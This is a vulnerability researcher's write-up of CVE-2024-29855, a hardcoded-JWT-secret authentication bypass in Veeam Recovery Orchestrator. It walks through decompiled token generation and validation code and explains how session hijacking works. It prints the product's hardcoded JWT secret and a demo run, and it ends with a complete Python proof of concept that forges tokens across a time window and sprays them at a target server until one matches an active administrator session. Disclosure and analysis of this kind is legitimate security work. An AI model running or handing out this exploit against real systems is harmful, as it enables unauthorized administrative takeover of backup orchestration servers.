There are no Secrets || Exploiting Veeam CVE-2024-29855

TLDR

Veeam published a CVSS 9 advisory for a authentication bypass vulnerability CVE-2024-29855 affecting Veeam Recovery Orchestrator, Following is my full analysis and exploit for this issue, although the issue is not as severe as it might sound (DO NOT PANIC AT ALL) but i found the mechanics of this vulnerability a bit interesting and decided to publish my detailed analysis and exploit for it.

veeam-CVE-2024-29855

Introduction (yet another TLDR)

June 10th, Veeam published an advisory stating that Veeam Recovery Orchestrator is affected by an authentication bypass allowing an unauthenticated attacker to bypass the authentication and log in to the Veeam Recovery Orchestrator web UI with administrator privilges. the CVSS for this vulnerability is 9.0

veeam-CVE-2024-29855

This vulenrability is due to the fact that JWT secret used to generate authentication tokens was a hardcoded value which means an unauthenticated attacker can generate valid tokens for any user (not just the administrator) and login to the Veeam Recovery Orchestrator.

Official Advisory States:

A vulnerability (CVE-2024-29855) in Veeam Recovery Orchestrator (VRO) version 7.0.0.337 allows an attacker to access the VRO web UI with administrative privileges.

Note: The attacker must know the exact username and role of an account that has an active VRO UI access token to accomplish the hijack.

veeam-CVE-2024-29855

Advanced .NET Exploitation

if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you everything you need about .net related vulnerabilities like authentication bypass, deserialization, mitigation bypass and many more.

AdvancedNetExploitationTraining

Lets begin

The vulnerability is fairly simple, a hardcoded JWT secret is used to generate and validate users token, the following is the skeleton for the token generation method also known as Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken. As one can quickly notice, at line (4) a byte array is assigned with the content of this._appSettings.Secret.

Later at line (11) this array of bytes containing the secret is used to instantiate the Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey class by passing the bytes to its constructor. then the returned instance is passed to the Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials as its first argument which is of type Microsoft.IdentityModel.Tokens.SecurityKey and for the second argument the following valuehttp://www.w3.org/2001/04/xmldsig-more#hmac-sha256 is used, one could quickly say this is where the algorithm gets deined as hmac-sha256.

Now we have an populated instance of Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor which is used to create a Microsoft.IdentityModel.Tokens.SecurityToken at line (13), this object is then passed to the jwtSecurityTokenHandler.WriteToken to issue a signed token to be used by the user.

 1:  public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)
 2:  {
 3:  	JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 4:  	byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 5:  	int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;
 6:  	DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);
 7:  	SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor
 8:  	{
 9:  		Subject = (ClaimsIdentity)principal.Identity,
10:  		Expires = new DateTime?(dateTime),
11:  		SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")
12:  	};
13:  	SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);
14:  	string text = jwtSecurityTokenHandler.WriteToken(securityToken);
15:  	AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo
16:  	{
17:  		Id = text,
18:  		ClaimIdentity = principal,
19:  		ExpiresUtc = new DateTimeOffset?(dateTime)
20:  	});
21:  	response.access_token = text;
22:  	response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);
		}

Aslo if you are interested in verifying the type of mentioend arguments, this can be done by stepping into the imeplemantion of the Microsoft .NET Microsoft.IdentityModel.Tokens.dll

 1:  using System;
 2:  using System.Security.Cryptography.X509Certificates;
 3:  using Microsoft.IdentityModel.Logging;
 4:  
 5:  namespace Microsoft.IdentityModel.Tokens
 6:  {
 7:  
 8:  	public class SigningCredentials
 9:  	{
10:  
11:  		protected SigningCredentials(X509Certificate2 certificate)
12:  		{
13:  			if (certificate == null)
14:  			{
15:  				throw LogHelper.LogArgumentNullException("certificate");
16:  			}
17:  			this.Key = new X509SecurityKey(certificate);
18:  			this.Algorithm = "RS256";
19:  		}
20:  
21:  
22:  		protected SigningCredentials(X509Certificate2 certificate, string algorithm)
23:  		{
24:  			if (certificate == null)
25:  			{
26:  				throw LogHelper.LogArgumentNullException("certificate");
27:  			}
28:  			this.Key = new X509SecurityKey(certificate);
29:  			this.Algorithm = algorithm;
30:  		}
31:  
32:  
33:  		public SigningCredentials(SecurityKey key, string algorithm)
34:  		{
35:  			this.Key = key;
36:  			this.Algorithm = algorithm;
37:  		}

The smart reader would ask, where does this._appSettings.Secret come from?

To answer this question, we can first have a look at the _appSettings declaration and then move on to its initialization, following is where the definition for the type of this class is defined Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings.

One can quickly spot the public string Secret member in this class which we are intrested in.

 1:  using System;
 2:  
 3:  namespace Veeam.AA.Web.Auth
 4:  {
 5:  
 6:  	public class AppSettings
 7:  	{
 8:  
 9:  		public string Secret { get; set; }
10:  
11:  		public int RefreshTokenExpireMinutes { get; set; }
12:  
13:  		public int AccessTokenExpireMinutes { get; set; }
14:  
15:  		public bool WebDavLogEverything { get; set; }
16:  
17:  		public bool WebDavUrlAuthorizationMode { get; set; }
18:  	}
19:  }

Now we need to understand where an instance of this class is initialized. following is the imeplemntation of the Veeam.AA.Web.Startup.Configure method that is responsible to take care of the initizliation routine of the this .net application and line (70) is where the AppSettings is finally instantiated.

public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)
 1:  {
 2:  	Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());
 3:  	CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;
 4:  	cancellationToken.Register(delegate
 5:  	{
 6:  		Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());
 7:  	});
 8:  	cancellationToken = applicationLifetime.ApplicationStopped;
 9:  	cancellationToken.Register(delegate
10:  	{
11:  		Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());
12:  	});
13:  	if (env.IsDevelopment())
14:  	{
15:  		app.UseDeveloperExceptionPage();
16:  	}
17:  	app.UseSwagger(delegate(SwaggerOptions _)
18:  	{
19:  	});
20:  	bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;
21:  	app.UseSwaggerUI(delegate(SwaggerUIOptions options)
22:  	{
23:  		options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");
24:  		options.InjectJavascript("/swagger.custom.js", "text/javascript");
25:  		options.InjectStylesheet("/swagger.custom.css", "screen");
26:  		options.DefaultModelExpandDepth(0);
27:  		options.DefaultModelsExpandDepth(-1);
28:  		options.DocExpansion(DocExpansion.None);
29:  		for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)
30:  		{
31:  			ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];
32:  			int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;
33:  			int num = 0;
34:  			if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)
35:  			{
36:  				string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());
37:  				options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);
38:  			}
39:  		}
40:  		options.EnableValidator(null);
41:  		options.EnableDeepLinking();
42:  	});
43:  	string contentRootPath = env.ContentRootPath;
44:  	PathString pathString = new PathString("");
45:  	app.UseDefaultFiles(new DefaultFilesOptions
46:  	{
47:  		FileProvider = new PhysicalFileProvider(contentRootPath),
48:  		RequestPath = pathString
49:  	});
50:  	app.UseStaticFiles(new StaticFileOptions
51:  	{
52:  		FileProvider = new PhysicalFileProvider(contentRootPath),
53:  		RequestPath = pathString
54:  	});
55:  	app.UseRouting();
56:  	app.UseSession();
57:  	app.UseCors(delegate(CorsPolicyBuilder x)
58:  	{
59:  		x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();
60:  	});
61:  	Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);
62:  	accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });
63:  	NotificationServiceOptions pushServerOptions = new NotificationServiceOptions
64:  	{
65:  		AccessValidator = accessValidator
66:  	};
67:  	app.UseNotificationService(pushServerOptions);
68:  	app.UseAuthentication();
69:  	app.UseAuthorization();
70:  	AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;
71:  	app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);
72:  	app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)
73:  	{
74:  		endpoints.MapControllers();
75:  		endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");
76:  	});
77:  	Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());
78:  }

The values that populate the members of this class are taken from the following file appsettings.json, lets have a look inside this file.

One can quickly tell the Secret key contains the JWT secret, and the problem with this product is that the JWT “secret” value always stays the “same” (before the latest patch)

{
  "AppSettings": {
    "Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",
    "RefreshTokenExpireMinutes": 120,
    "AccessTokenExpireMinutes": 15,
    "WebDavLogEverything": "false",
    "WebDavUrlAuthorizationMode": "false"
  },
  "Vcf": {
    "Host": "localhost",
    "Port": 12348,
    "ReconnectInterval": "0.00:01:00"
  },
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*"
}

Now that we understnad how the JWT tokens are genearted, one might quickly move on to generate a token, but it doesn’t work like that for this product, there is actually something a bit interesting that caused the CVSS to drop from CVSS 9.8 to a CVSS 9, and here is the reason.

Lets have a look inside the method responsible for validating the provided JWT tokens which is at Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken

The mechanics of this method are simple, it expects a token passed as an string, it then proceeds to create an instance of the JwtSecurityTokenHandler class (line 7) which we talked about in the token generation section, then at line (8) the same hardcoded JWT secret is loaded by referencing the this._appSettings.Secret and loading its value in a byte array, then (line 9) an instance of the ClaimsPrincipal is defined.

The byte array containing the secret is used to instantiate the SymmetricSecurityKey which its return value is used to populate the IssuerSigningKey member property of TokenValidationParameters which it self is the second argument passed to jwtSecurityTokenHandler.ValidateToken to validate the user token that has been passed as the first argument, if the token is validated, the out securityToken will contain the validated token, in case a validation exception is raised from within the Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken then the catch block at line (26) is used to capture the exception and assign null to the previously defined claimsPrincipal variable meaning the token was invalid.

But, the eagle eye might notice something important here, if no exception is raised, then at line (23) the provided token is passed to AuthorizationTokenStore.AccessTokens.Get to retireve an object of type AuthorizationInfo this type is also known as Veeam.AA.Web.Auth.Models.AuthorizationInfo.

If the returned value from AuthorizationTokenStore.AccessTokens.Get is not equal to null then finally the claimsPrincipal is populated and returned to the caller to inform the token was valid.

But what is AuthorizationTokenStore.AccessTokens.Get?

 1:  public ClaimsPrincipal ValidateJwtToken(string token)
 2:  {
 3:  	if (token == null)
 4:  	{
 5:  		return null;
 6:  	}
 7:  	JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 8:  	byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 9:  	ClaimsPrincipal claimsPrincipal;
10:  	try
11:  	{
12:  		SecurityToken securityToken;
13:  		jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters
14:  		{
15:  			ValidateIssuerSigningKey = true,
16:  			IssuerSigningKey = new SymmetricSecurityKey(bytes),
17:  			ValidateIssuer = false,
18:  			ValidateAudience = false,
19:  			RequireExpirationTime = true,
20:  			ValidateLifetime = true,
21:  			ClockSkew = TimeSpan.Zero
22:  		}, out securityToken);
23:  		AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);
24:  		claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);
25:  	}
26:  	catch
27:  	{
28:  		claimsPrincipal = null;
29:  	}
30:  	return claimsPrincipal;
31:  }

without boring you with the details, simply put, The AuthorizationTokenStore.AccessTokens.Get accesses an In memory object list, this object list obviously stores objects, but for our purpose, it contains the list of previously issue JWT tokens, this is very important, why you ask? well, even if we manage to (ab)use the hardcoded JWT secret to generate a valid token, if the token wasn’t actually issued in the past, the AuthorizationTokenStore.AccessTokens.Get returns null which causes the authorizationInfo to be null that cauases the claimsPrincipal to be null as well and the token validation would fail.

 1:  using System;
 2:  using System.Collections.Concurrent;
 3:  using System.Collections.Generic;
 4:  using System.Linq;
 5:  using System.Linq.Expressions;
 6:  using System.Reflection;
 7:  
 8:  namespace Veeam.AA.Web.Auth
 9:  {
10:  
11:  public class InMemoryObjectList<TEntity> where TEntity : class
12:  {
13:  
14:  	public InMemoryObjectList()
15:  	{
16:  		this.CreateIdGetter();
17:  	}
18:  
19:  
20:  	private Func<TEntity, object> CreateIdGetter()
21:  	{
22:  		Type typeFromHandle = typeof(TEntity);
23:  		PropertyInfo property = typeFromHandle.GetProperty("Id");
24:  		if (property == null)
25:  		{
26:  			throw new ArgumentException("Entity must have Id property");
27:  		}
28:  		ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");
29:  		Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));
30:  		LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });
31:  		this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;
32:  		return this._idGetter;
33:  	}
34:  
35:  
36:  	public void Add(TEntity entity)
37:  	{
38:  		object obj = this._idGetter(entity);
39:  		this._collection.TryAdd(obj, entity);
40:  	}
41:  
42:  
43:  	public TEntity Get(object id)
44:  	{
45:  		if (this._collection.ContainsKey(id))
46:  		{
47:  			return this._collection[id];
48:  		}
49:  		return default(TEntity);
50:  	}
51:  
52:  [..SNIP..]

In order to demonstrate what this in memory object list looks like, following is the runtime content of this list after multiple authentication requests, the list contains multiple administrator sessions that are valid JWT tokens

veeam-CVE-2024-29855

This is exactly what Veeam official advisory was refering too (lets say that)

veeam-CVE-2024-29855

They claim the exploitation requires 3 conditions:

  1. knowing the username
  2. knowing the role
  3. target having an active session

This is true, and that’s why the exploiability of this issue is a bit far fetched and I agree with that, but as you know I’m here to make it a bit more possible (just a bit)

First, the “knowing the username” problem “kind of” can be solved with the following solution, assuming there exist a user named administrator@evilcorp.local one can find the domain name by looking at the CN filed of the SSL certificate and the username can be sprayed, kind of lame though but that’s what we have right now

Second, the “knowing” the role is kind of a joke, after further reversing, I concluded there are only 5 possible role values, following is where these roles have been defined

 1:  using System;
 2:  using System.Collections.Generic;
 3:  using System.Runtime.CompilerServices;
 4:  
 5:  namespace Veeam.AA.Common.Security
 6:  {
 7:  [NullableContext(1)]
 8:  [Nullable(0)]
 9:  public static class RoleNames
10:  {
11:  	public const string Anonymous = "Anonymous";
12:  
13:  	public const string Administrator = "DRSiteAdmin";
14:  
15:  	public const string PlanAuthor = "DRPlanAuthor";
16:  
17:  	public const string PlanOperator = "DRPlanOperator";
18:  
19:  	public const string SetupOperator = "SiteSetupOperator";
20:  
21:  	public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };
22:  }
23:  }

Third, target having an active session, we discussed this above, the JWT Token created by Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken are stored in the InMemoryObjectList so a user needs to be logged in.

So now the plan is simple, generate valid JWT tokens for a period of time and spray them against the server until we get a hit. the provided PoC is written in python, which i think other languages can do waaaaaaaay faster, and I hope a mighty chap or chapette can craft a faster poc and let me know about it.

This is a summary of how things went down:

readers

Demo

veeam-CVE-2024-29855

python CVE-2024-29855.py  --start_time 1718264404 --end_time 1718264652 --username administrator@evilcorp.local --target https://192.168.253.180:9898/

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
        
        
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200
(+) Response: {"user":"administrator@evilcorp.local","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}
                                                                        

Proof of Concept

"""
Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
        
        """

""""""

import jwt
import time
import warnings
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor
import signal
import sys

warnings.filterwarnings("ignore")

jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="
counter = 0
def exploit_token(token):
    global counter
    url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"
    headers = {"Authorization": f"Bearer {token}"}
    try:
        res = requests.get(url, verify=False, headers=headers)
        if(res.status_code == 200):
            print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")
            counter = 21
            sys.exit(0)
        if(args.debug or counter == 10):
            print(f"(INFO) Spraying JWT Tokens: {res.status_code}")
            counter = 0
    except requests.exceptions.RequestException as e:
        if args.debug:
            print(f"(INFO) Request failed: {e}")
            
    counter += 1

def generate_token_and_exploit(current_time):
    claims = {
        "unique_name": args.username,
        "role": "SiteSetupOperator",
        "nbf": current_time,
        "exp": current_time + 900,
        "iat": current_time
    }
    encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")
    exploit_token(encoded_jwt)

def signal_handler(sig, frame):
    print('Interrupted! Shutting down gracefully...')
    executor.shutdown(wait=False)
    sys.exit(0)

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")
    parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)
    parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)
    parser.add_argument("--username", type=str, help="administrator@evilcorp.local or evilcorp\\administrator", required=True)
    parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)
    parser.add_argument("--debug", action="store_true", help="Enable debug mode")
    args = parser.parse_args()

    start_time = args.start_time
    end_time = args.end_time

    signal.signal(signal.SIGINT, signal_handler)

    with ThreadPoolExecutor() as executor:
        signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
        
        current_time = start_time
        while current_time < end_time:
            try:
                executor.submit(generate_token_and_exploit, current_time)
                current_time += 1
            except KeyboardInterrupt:
                print("Keyboard interrupt received, shutting down...")
                executor.shutdown(wait=False)
                sys.exit(0)

References